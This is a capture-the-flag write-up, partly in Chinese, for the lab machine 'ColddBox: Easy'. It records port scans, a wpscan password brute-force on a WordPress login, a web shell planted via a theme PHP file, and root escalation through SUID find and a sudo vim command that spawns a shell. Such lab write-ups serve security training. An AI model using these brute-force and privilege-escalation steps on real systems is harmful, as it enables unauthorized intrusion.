Skip to main content

ColddBox: Easy

端口扫描​

root@ip-10-10-22-151:~# nmap -sT -p- --min-rate 1000 10.10.198.125

Starting Nmap 7.60 ( https://nmap.org ) at 2023-08-22 08:24 BST
Nmap scan report for ip-10-10-198-125.eu-west-1.compute.internal (10.10.198.125)
Host is up (0.0078s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
80/tcp   open  http
4512/tcp open  unknown
MAC Address: 02:C0:D5:49:E6:9D (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 3.55 seconds
root@ip-10-10-22-151:~# nmap -sTCV -p 80,4512 --min-rate 1000 10.10.198.125

Starting Nmap 7.60 ( https://nmap.org ) at 2023-08-22 08:24 BST
Nmap scan report for ip-10-10-198-125.eu-west-1.compute.internal (10.10.198.125)
Host is up (0.00014s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: WordPress 4.1.31
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: ColddBox | One more machine
4512/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4e:bf:98:c0:9b:c5:36:80:8c:96:e8:96:95:65:97:3b (RSA)
|   256 88:17:f1:a8:44:f7:f8:06:2f:d3:4f:73:32:98:c7:c5 (ECDSA)
|_  256 f2:fc:6c:75:08:20:b1:b2:51:2d:94:d6:94:d7:51:4f (EdDSA)
MAC Address: 02:C0:D5:49:E6:9D (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.02 seconds

80 - HTTP​

访问 80 站点, 我发现这一个 Wordpress, 开始进行目录扫描

20240601184146

访问 /hidden 页面, 我发现其中提到一些内容

20240601184157

所以我开始进行密码的爆破

┌──(jtz㉿JTZ)-[~/Desktop/Temp/thm/ColddBox_Easy]
└─$ wpscan  -U C0ldd,Hugo,Philip -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt --url  http://10.10.6.29/ -t 20
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] Performing password attack on Wp Login against 3 user/s
[SUCCESS] - C0ldd / 9876543210
^Cying Philip / gabriel1 Time: 00:03:06 <                                                     > (7302 / 43034400)  0.01%  ETA: ??:??:??

得到密码后,访问后台管理页面, 并修改模板中的 php 文件来获取 Shell

后渗透​

www-data​

上传Shell 后我开始访问站点

20240601184319

www-data —> root (第一种方式)​

经过枚举, 发现 find 指令存在 SUID 特权

20240601184346

20240601184405

www-data —> c0ldd (第二种方式)​

在网站的配置文件中发现了 c0ldd 的密码

20240601184435

尝试切换用户发现密码正确

20240601184444

c0ldd —> root (第二种方式)​

20240601184511

在这里我们可以看到用户具有 SUOD 和 lxd 组,执行后发现

20240601184521

20240601184605

c0ldd@ColddBox-Easy:~$ sudo /usr/bin/vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'